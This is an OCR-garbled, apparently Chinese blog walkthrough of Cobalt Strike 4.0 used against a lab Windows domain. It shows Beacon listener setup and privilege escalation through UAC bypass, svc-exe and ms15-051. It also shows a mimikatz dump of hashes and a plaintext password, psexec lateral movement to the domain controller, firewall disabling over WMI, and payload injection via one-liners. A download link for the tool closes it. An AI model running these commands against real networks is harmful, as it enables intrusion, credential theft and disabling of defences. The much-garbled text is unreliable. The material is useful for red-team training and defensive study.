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1.Stageless:

+ Post-ex workflows updated to deliver stageless payloads (or to tightly couple the
stager with the action). xfid payloads are now options (sometimes, implicit and
other times, explicit) in these workflows.

+ Scripted Web Deliwvery iz now stageless with an option for x64 payvloads. The
regsvr32 built-in option i1s gone though. (Can't jam a full payload into it).
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1 Stageless payload improved
AJLAER, EFEEIRE veb vetivery W, A 64 AT pavioad AIRHR, (EFAYE
stageless INTEJTTL, M regsvrsz WA TVERIHERT, EAREEENTER payload, E
B, FEEAURPRE], £ o0 PRBERKBER stageless , ROER stager .

2. IERRE ST BENIERINE

- Removed Attacks -> Packagés ~=» Windows Dropper and USE/CD Autoplay.



2 Removed Windows-Dropper attack

3. #MiE jump ERBIGS

HICHEBLART psexee , i FAIESEI—MERE, FHEH, HEB psexee psh FH{THEMAIAT
1';%@% stager , Ef&ﬁfﬁi&]jﬂ stageless

+ Added * jump’ command to spawn a session on a remote target. Built-in options are
psexec, psexechd, pszexec_psh, winrm, and winrmfd. All are stageless except for
psexec_psh which implicitly uses the bind_pipe stager every time. _
SR e S T T Gowz 4,
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3 Added Jump command

4.No Powershell {gtF

&

+| spavmas command now spawns temp process and inject into 1t.
+ pz primitive uses PROCESS_QUERY LIMITED INFORMATION on Vista+
+ updated process dialog to grey out no—info processes in its process tree.
+ uac-token-duplication now executes inline w/i current Beacon. elevate
| uac-token—-duplication will inject payload into elevated process. No PowerShell. |
+ getsystem now searches handles for system tokens and attempts to impersonate them
+ runu no longer steals parent process token
+|spawnu command now spawms temp process and injects into 1t. Also, no PowerShell. ]
i, GoowE |
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4 More inject was no powershell

5. 128 FRRks : SVC-exe 1 runasadmin



svc—exe H;‘E?Jﬁ%?fﬁﬁﬂﬁ psexec ({"E%l]jj‘g)

+ Added svc—exe az a built-in elevate option (basically jump psexec to localhost)

L GeowZEH)

5 Svc-exe added in elevate kit

+ punasadmin now runs a command in an elevated context using a command elevator
exploit registered with CS. uac—token—duplication and uwac—cmstp are built-in.

6 Runasadmin also is elevate tool

6. FAITEEET ms14-058 exp 1 uac-dil 125K

- Moved elevate ms14-058 out of CS and into the Elevate Kit

1 GeowZEH]|),

7: Remove ms14-058



- Removed elevate uac—dll option.

& 8: Remove uac-dll

7. EXEH: Listener

http/https/dns IISZFF—A payload IHEZ ip HEHS, HIFTBZMER payload Y
listener %é@]—@, #Bﬁ?%ﬁ)\ C2 %ﬁ&l«\)\&fﬁfig‘ﬁ

a.https/http listener:



Create a listener.

Name:

Payload: |[Beacon HTTPS .

 TEOE.

Payload Options

(+

HTTPS Hosts:

b

HTTPS Host (Stager): /192.168.1.119 |

Profile: default - |

HTTPS Port (C2): 443 l

HTTPS Port (Bind): | |

HTTPS Host Header: | l

HTTPS Proxy: | | —

|_save || Help | e GeowTHeE)),

9: Https Beacon info

ORI FEEATRERIL, R FETUR AR TIE 0, NfEcsa. o9, 2Bt r Wl T Tk, #RATLAfEprofilel BARAE St
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b.Dns listener:

Create a listener.

Name:

Payload Options

DNS Hosts:

DNS Host (Stager): |

DNS Port (Bind):

| ~ -~ [t BT o g
| _save || Help | o GeowFHeE)




10 Dns Beacon info

c.External C2 Listener:

Create a listener.

Name:
Payload: El_i__)_c_ternal C2 '"
Payload Options

Port (Bind): 12222

7] Bind to localhost only

" PRt .. B S g | ]|
Lo GeowZZEE,

11 External C2 listener

=. BT cs4.0 fUFRFE, T TRARSEER—TIE

BT, SoiiE— listener, 7EIXE, {RATLUESR cs IRFBEEHAK IPv4, AR IPv4,
IPv6 (IPv6 ZEFFHES, fll [240c:6666]) , LAKIR CS fRS5=500E®E, HEXBENTHK
kali BY ipva FO ipve




MNew Listener

Create a listener,

Name: |Multiple CS - Kali

Payload: 'Beacon HTTPS

Payload Options

HTTPS Hosts: 192.168.1.119
[2409:8a55:c7b:81c0:be5f

HTTPS Host (Stager): [192.168.1.119

Profile: \default

HTTPS Port (C2): 443

HTTPS Port (Bind): |

HTTPS Host Header: |

HTTPS Proxy:

|_save ] Help

12 Create a listener by using Beacon https payload

XEH HTTPS Port (C2) B2 F4kis

1. ERARSHAT



HAXWERER T stageless BIAS (FRABHNETLAXZENE L—RXE)

ERIARSE EEENTAREF /e (ITF—R: FTHEEFARHTEMERR,  BEE
PRHIS, REFIREIR)

2. k%

RAFEIENE ivve , FTLL beacon BY ip BERER e , B, EAHRE v , FFLBEESER
i (BRAFEEARLMYA » #HITRNRE)

eporting Help
DR O B¢ ap,PLU &0 e IS

external internal ~ listener computer

*» 2409:8a55:¢71:9850:5¢c5%a: 2 152.168.1.... Multiple CS -... mssql

13 Beacon in ipv6

Attacks Reporting Help
O 0 E=¢ 8:,U el fa Bg

extermnal internal - listener computer note
 192.168.1.162 192.168.1.... Multiple CS - ... mssql

[€] 14 Beacon in ipv4

3. RETE

EAY csa.0 T RE, ATLARRZHEEIRY beacon #7E, PID, RFEREL



Intermal =
152.168.1.162

user computer note
mssql

< 1592.168.1.162

process
Multiple €5 - Kal

15 Cobalt Strike 4.0 table view
4. 1R

IEANFER EERREI,  cs4.0 lREAECEBIRT uac-di1l FO ms14-058 AT,

|§_]ET_|' bypassuac ﬁ%’?‘ﬁ*g
123

beacon> elevate

Beacon Local Exploits

Exploit Description
svc-exe

Get SYSTEM via an executable I&GGOWEQE}M.
uac-token-duplication

Bypass UAC with Token Duplication

16 Elevate module
%71&5@5@, ﬁiﬁET_/l\gﬂﬂ Priv Esc E"J listener

(payload:tcp beacon) (X 4i% Bind
to localhost only)

At 2rZQENE? (FERNE: (RIEMZEZIEHITT)

_____________________ -

Check Bind to localhost only to have the TCP Beacon bind to 127.0.0.1
when it listens for a connection. This is a good option if you use the TCP Beacon for_\pcalhosl-only actions

o, GeowzZ=H| P



17 Author's words

Create a listener.

Name: |PrivEsc

Payload: Beacon TCP v

Payload Options

Port (C2): 14444

lv] Bind to localhost only - GeowFHEb),

18 Create a listener for privilege escalation

a.UAC-token-duplication (UAC OS$EHIHER)

SEENEE— ue EERREERRMANER, JREEERASIRE, BMEHATHEERN
KW, BRRAR, HAEKEBCRERNEFTT, HMNAIAFBENENFER ninikar: EEE
5

[(IRRRSCPRBRIR, ESCmAAERROSCHNES, XEFRATER, £ UACEEFRA
THEEROS]

UAC HEHE
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& 19 UAC
failed, but the password was logged in memory

beacon> elevate uac-token-duplication Priv Esc
[ o spawn windows acon_bind_tcp (127.0.0.1:4444) in a high inteqrity process (token duplication)
sent: 215464 bytes

o GcowR2HPA

ed 0 process tokens and taskmgr.exe
onnect to target

20 Failed when users was domain user

b.svc-exe



weee ANBH, FAER oo JRTNE, BIFABERF " pwn! | " —TFFRTRLE,
MR LERRAUBHER T IROBHR, AU oo oxe BT (I s B, BR
getsystem Z:j\(y¥{§i)

{ERBIAN TS

riaoli
WEB @ 1572

&y ccowESHN

21 A administrator privilege Beacon
Svc-exe priv esc:

beacon> elevate svc-exe Priv Est

[*] Tasked beacon te run windows/beacon bind
[+] host called home, sent: 289450 bytes
[+] received output

tcp (127.0.0,1:4444

Started service cflcebe on

[+] established link te child beacon: 192.168.1. %@ GcowELHA

22 Use Svc-exe to privilege escalation



xiaoll * SYSTEM *
WEB @ 1572 WEEB @ 4208
&y GeowRLSHMN

23 Connected to system privilege beacon

c.EXP RN

RAMEREAF, XXX XA exp AHUEN T, RAEEEEE cs4.0 HflfR T exp,
BRIRALUEL citw K clone fEEBY [Elevate Kit] INB, ABE s INEHEIR

cs EERIIAR: https://github.com/rsmudge/ElevateKit

beacon> elevate ms15-051 Priv Esc
lask Beacon to rumn windows/beacon bind tcp (127.0.0,.1:4444) via ms15-051]

[+] host called home, sent: 340033 bytes %Gcow?iﬁl[ﬁ)\
[#] established Llink to child beacon: 192.168.1.162

24 Imported elevate kit for privilege escalation

d.runasadmin IZ8UER (BEESAEZE)



beacon> runasadmin

Beacon Command Elevators

Exploit

Description

ms 16-032

uac-cmstplua
uac-eventvwr
uac-schtasks
uac-token-duplication
uac-wscript

Secondary Logon
Bypass UAC with
Bypass UAC with
Bypass UAC with
Bypass UAC with
Bypass UAC with

Handle Privilege Escalation (CVE-2016-099)
CMSTPLUA COM interface

eventvwr.exe

schtasks.exe (via SilentCleanup)

Token Duplication ¢° GCOWE%ﬂi

wscript.exe

25 Runasadmin module

5.Recon ZRS A
a.Net {RRFIBHESEL

(a).net domain

beacon> net domaln
[*] Tasked beacon to
[+] host called home,
[+] received output
delay.com

run net domain
sent

14005 bytes

& GoowE2EMN

26 net domain command

(b).net domain_controllers



beacon> net domain controllers

|*] Tasked beacon to run net domain controllers
[+] host called home, sent: 87634 bytes

[#+] received output

Domain Controllers:

Server Name IP Address

10.10.10.10 @ ceowRELEM

27 net domain_controllers command

JLER, HERA DC MR, ZFTRULEERET

b. tRFREENH
exp 121X, SARHNERS (LtLAbEFBARINI UAC $OBIROt ETR RBE X #0)



msv

" ”HHlHde

* Domain

* LN

* NTLHN

* SHAlL
tspkg

* Username

* Domain

* Password
wdigest

* Username

* Domain

* Password
kerberos

* Username

* Domaln

* Password
55p
credman

Administrator

: DE1AY

f67ce55acB831223dc 187b8085fe 1d9d f

1 161cffoR4477fe596a5dbB 1874408424
+ d669T3bcctfl4bf77d64667ech5aae32d2d 100394

Administrator

i DE1AY

lgazE@WsX

Administrator

: DE1AY

lgazEwWsX

: Administrator
: delay.com

lgaz@EwWsX

& GeowR2HEA

28 Logonpassword after privilege escalation

(a).SMB Beacon g#u#

4R — NBFHERBEIRY listener, BXE LM, {3 SMB Beacon payload, AILIEZ!,
SMB Beacon X#FHEEN pipe name 7



Create a listener.

Name: LM

Payload: |Beacon SMB -

Payload Options

Pipename (C2): /msagent 4350

e i [
L GeowzrZE|l),

29 SMB Beacon now support custom pipename
BrRUMMEERT, I ATEIBMRAY cs FigBIXME? HESL, |BiR cs H8Y pipe name 2

[status im[1S]

Create a listener,

Name: Lateral Movement

Payload: 'windowsfbeacon_smbfbind_plpe - l

Host: 192.168.1.119

Port: 16001 |

Save (6 Grow B,




30 Create a listener for Lateral Movement

WNE, |8k cs BY pipe name M9 status 6001

(b).jump #5&

jump ERS AR _ERLEIEESEERAY psexec, psexec64, psexec psh, winrm, winrm64 %

BF—NEHER (wmi BEBR)

How to use

beacon> help jump
Use: jump [exploit] [target] [listener]

Attempt to spawn a session on a remote target with the specified exploit.

o GecowR2HRA

Type jump by itself to see a List of available remote exploits.

31 Help of jump command
Lateral Movement kits in jump command



beacon> jump

Beacon Remote Exploits

Exploit Description

psexec Use a service to run a Service EXE artifact
psexectq Use a service to run a Service EXE artifact
psexec psh Use a service to run a PowerShell one-Lliner
winrm Run a Powershell script viRgIGESWZ £ HIBA

winrmb4 Run a PowerShell script via WinRM

32 Lateral Movement tookit in jump command

ErF, ERNIRIMEIRE T

make_token delay.com\Administrator 1qgaz@WSX

beacon> make token delay.com\Administrator lgaz@wSX
[*] Tasked beacon to create a token for delay.com\Administrator

o GcowR2HPA

[+] host called home, sent: 70 bytes
[+] Impersonated DE1AY\mssql

33 Use make _token command to impersonal credential

{ER sump AR TIER]

jump psexec DC LM



R GcowR£HBA

34 Use jump command lateral movement to DC

DC Beacon Online

SYSTEM * SYSTEM *

WEB @ 4036 WEB @ 3696 %'G@GWEQM

35 Connected to DC through smb beacon

(c).remote-exec WS

AJLAREIA T =N BRI TIRiZ s ST



beacon> remote-exec

Beacon Remote Execute Methods

Methods Description

psexec Remote execute via Service Control Manager
winrm Remote execute via WinRM (PowerShell)
wini Remote execute via WMI (inrﬁlﬁtgwﬁﬁﬁjﬁk

36 Remote-exec module
remote-exec wmi DC netsh advfirewall set allprofiles state off (Z7X, fl_LE—F, HBEL

EREHE)

beacon> remote-exec wmi DC netsh advfirewall set allprofiles state off

[*] Tasked beacon to run "netsh advfirewall set allprofiles state off" on DC via WMI
[+]1 host called home, sent: 383 bytes

[+] received output

GENUS .
__CLASS : __ PARAMETERS
__SUPERCLASS
DYNASTY H PARAMETERS
RELPATH :
PROPERTY COUNT :
__DERIVATION
__SERVER
NAMESPACE
PATH
ProcessId

ReturnValue . ?Q Gecow R 2HIBA

37 Use remote-exec to disable firewall on DC



(d).Invoke-Command (P A%#TE)

#NFE: 7E os #, BJLUER povershell-import SN ps1 BIA, SRFE{ER voverpick ZKHITHIZARRINE
R

beacon> help powershell-import
Use: powershell-import [/path/to/local/script.psl]

Import a powershell script which is combined with future
calls to the powershell command. You may only use one
imported script at a time. %o GeowR LML

38 You can use powershell-import command to import module

Eiﬁ_ﬂ«lﬁﬁﬁ /z%g_‘[:l g %E"J Invoke—Command *%ij&ﬁ?ﬁ'ﬁ*ﬂ%ﬁ%?ﬂ?i’ ( % Q)‘k\ , ‘E‘,,—?%Eﬁ% }Eﬁ %;E )

powerpick Invoke-Command -ComputerName DC -ScriptBlock {netsh advfirewall set

allprofiles state off}

beacon> powerpick Invoke-Command -ComputerMame DC -ScriptBlock {netsh advfirewall set allprofiles state off}
[ Tasked beacon to run: Invoke-Command -ComputerName DC -ScriptBlock {netsh advfirewall set state off} (unmanaged)

allprofiles
[+] host called home, sent: 133705 bytes Irée Gcowﬁéﬂk

[+] received output

WiE.

39 Use Invoke-Command module to remote disable firewall on DC

c.One-liner

oneliner FLSERRAER—RTEBMR beacon AMUBITH vayload , {REILAFAETEBFR beacon Hj
1T, BEmATVEREM, a0 runas, runu, runasadmin, psinject



(a).oneliner Eg& runasadmin H{TEN

£ o B, RBEZARAFRA adinisvator NEERAF, o 22BN, SRAFPE950RY
BER, o AA=BmEN, I ER:



n.'.!» — ‘F

xiaoli
WEB @ 3800 WEB @ 3672

Event Log KI Beacon 192,168.1,162@3780 X | Bepebn 192.168.1.162@3000 X | Beacon 192,168.1.162@

[+] established Link to parent beacon: 192,168.1.162
beacon> shell whoami /qroups

[*] Tasked beacon to run: whoami /groups

[#] host called home, sent: 45 bytes

[+] received output

M SID {8

Everyone 25 S-1-1-0 SR, BATINA. BN
BUILTIN\Users B&  S-1-5-32-545 SR, BRTENA, BRNE

||m|| TIN\Administrators Rl S-1-5-32-544 RATIESM0E

NT AUTHORLTY\INTERACTIVE B4 S-1-5-4 HRGE., BRTINA. ERitA

i f=p 8 d Cad S-1-2-1 SR, BRTINA, BRid

NT AUTHORITY\Authenticated Users 1448 S-1-5-11 SR, BRTIN. BRtd

NT AUTHORITY\This Organization B4 S-1-5-15 LR, BRTIN. BRMNE

LOCAI S S-1-2-0 SR, BRTIN. BRnd

NT AUTHORITY\NTLM Authentication B4R S-1-5-64-10 HWaGiA, ,‘,‘:.ﬂ?ﬂx# &l liais

Mandatory Label\Medium Mandatory Level % S-1-16-8192 #H®idl, BATH Q’[Gﬁmw&%w\

40 Show current user groups

ALIER, sieoli XTAFEAMEER, AI2 o iRBHEHIHEN



MRS RTPRA 2

beacon> shell whoami

[*] Tasked beacon to run: whoami

[+] host called home, sent: 49 bytes
[+] received output

web\xiaoli

beacon> logonpasswords

Logonpasswords error: this command requires administrator |1r'1'ﬁrﬁcﬂw§%@|yg

41 Privilege less when logonpasswords

so, we can do like this

@. %Rk oneliner, /I beacon-Access-oneliner

EIXERE, 2% beacon §J arch &ff oneliner, FFiIAY beacon £ 64 i, AL x86 #1
x64 B9 payload #BEJLA, x86 beacon RgeiiT x86 AY payload

(FeX4/18Y beacon 2 x86 BY)



PowerShell One-liner

Generate a single use one4iner that runs payload
within this session.

Listener: |Priv Esc

|
o
[SR—

x64: [ 1Use x64 payload

Launch.| Help Cf Geow BB,

42 Generate powershell oneliner

Started service: One-liner for 192,168.1.162@516
Copy and paste this URL to access it

Ok

. | r_|-|_.-_=: Hij
" GeowrmssElilL

& 43 Generated Success!

runasadmin uac-wscript + oneliner

ACEAMDAY ADC ALg AwACAAMAAUADE

44 Use runasadmin to privilege escalation



PITREHASENER, FEEFNER

connect 127.0.0.1

beacon> connect 127.0.0.1
fasked to connect to 127.0.0,1:4444

[+] host called home, sent: 20 bytes

[+] established link to child beacon: 192%&@RowERSEE

45 Connect to beacon

- .

-:5'* — ,.__g,“’

xiaoli xiaol1 *
WEB @ 3672 WEB © @gbc@wzemm

46 Connected!

E}%ﬁ logonpassword



beacon> logonpasswords

[*] Tasked beacon to run mimikatz's sekurlsa::logonpasswords command
[+] host called home, sent: 750686 bytes

[+] received output

Authentication Id : 0 ; 18119548 (0P000000:01147b7c)
Session t Interactive from ©

User Name t Administrator

Domain 1 DE1AY

Logon Server 1 DC

Logon Time 1 2020/3/20 17:18:23

SID ¢ §-1-5-21-2756371121-2868750005- 1:-;%.:@59?1"@%@ BA

47 Re logonpasswords

(b).One-liner E2& runas &£E—/MEERFRISUR
EIXERNE, BEE beacon §Y arch &5k oneliner, [E.L

runas DETAY\Administrator 1qaz@WSX + oneliner jE: runas 1£ system XfRAY beacon
BEITERM

wIRGOWEEHIL,. .

48 Runas with oneliner

connect 127.0.0.1



beacon> connect 127.0.0.1
[*] Tasked to connect to 127.0.0,1:4444

[+#] host called home, sent: 20 bytes )
[+] established link to child beacon: 19% fsow¥2EH

49 Connect to beacon

Administrator
WEB @ 4252

I_i di I.J._ \ ﬁ GoowE-2HRL
WEB @ 2784 ' :

50 Connected!

(c).One-liner fit& runu EIEEHENITHS

EXEE, 2SEBIRHER arch Z£6% oneliner, FHIIBFRHIER 64 i1, ATLALER x64 1
x86 [ payload #BETLA, x86 HiZNREEA AL x86 payload

runu 460 + oneliner IXERT— pid J3 460 HIHFE




51 Runu command with oneliner
connect 127.0.0.1

beacon> connect 127.0.0,1
lasked to connect to 127.0.0,1:4444
[+] host called home, sent: 20 bytes

[+] established link to child beacon: 192.168,1, 162
[+] host called home, sent: 24 bytes ¥& GeowRSHIMN

52 Connect to beacon

A

Administrator * SYSTEM *
WEB @ 4252 WEB &g Gdi&smm

53 Connected!
EIRTEZiZ beacon FUAHIEF EFAININIFTIEERY

460: winlogon.exe

4136 powershell.exe

54 Created a child session base on PPID 460



(d).Psinject {&6[ one-liner payload i \#%

1E psinject iIXE, x64 HIZATLLEA x86/x64 #Y payload, x86 HIZRAELEN x86

3908 516 taskhost exe x64

DN e e rae

WEB\xiaoli

3064 2168 explorer.exe x64
4288 3872 mmc.exe x64

R ST Y
WEB\xiaoli

55 Choose a process for target
psinject 2784 x64 + oneliner

b.GCOWERE

56 Inject powershell payload with psinject
connect 127.0.0.1

beacon> connect 127.0.0.1
[*] Tasked to connect to 127.0.0,1:4444

[+] host called home, sent: 80 bytes
[+] established Link to child beacon: 1055 GepwEz2EpA

57 Connect to beacon
connected



xiaold
WEB @ 3332

@y Goow£ERN

[&] 58 Connected!
LR, REESHNEEE(RERED~
d.Link / Connect and unlink

link SXFFFERE pive name , connect SZFFEEURM, uwlink SZFHERE rid 5, EERIRATHLL

Eﬁ?%ﬂi%ﬁ\ smb beacon listener ‘—5 tep beacon listener

link ip pipe_name (EIFEAIRE 111 X4 pipe name, EALHIRET)

beacon> Link 192,168.1. 12 111
[asked to Link to \\192.168.1.162\pipe\11]

¥ GeowR2HEA

[+] host called home, SENT: 45 DYTES
Could not connect to pipe: 2

60 Link to a beacon through assign pipename

connect ip port



beacon> connect 192,.168.1.162 4444

|*] Tasked to connect to 192.168.1.162:4444
[+] host called home, sent: 24 bytes
[+] established Link to child beacon: 192, 168.1. 162

[WEB] SYSTEM */3112 RGCoEFi )

61 Connect to tcp beacon through assign port
unlink ip pid

beacon> unlink 192.168.1.162 2248
[*] Tasked to unlink 192.168.1. 16282248

[+] host called home, sent: 36 bytes
lost Link te child beacon: 192.168.1. 162

GoowE R

62 Unlink beacon through assign process

. B45

{EA—amRlLEEnHFER, ERACEIKAFEHARE
12, FREAMEXEEIFERE WBGII XX




(X, &tE, IWHEXRRER) RHEAVBEREIR, LA Yansu XK
1A ZIRTThR

& GeowR2HEA

63 cs IRTThRIEE KK
IR IATS:

08A
. T4 x64Ibeaconfilsession] LA 34 x86 flIx64[fpayload?
% CSHRME, 1EE B 7Zx86, link: https://blog.cobaltstrike.com/2016/03/10/cobalt-strike-3-2-the-inevit



M A AfE#E B Stageless?
% [Nstagerze 4, WGy, & %A

MRIFRE!

MAREET, BRIE, AFREMEF CS TERER

CS4.0 XiEtE, windows teamserver 323, vnc {88, x64 payload 188, iRMSZHF &RkhR
AREXKM! | Gecow Z2HIZOGR J0oley SESNESFIEIINEFMEERE, BRI
E7C x64 payload FASHERIER

/NFE BB: TEIELE cobaltstrikehttps://pan.baidu.com/s/1yNtuezjZZeQ5KKVHsRNQEw #2
EXfS: 2mur
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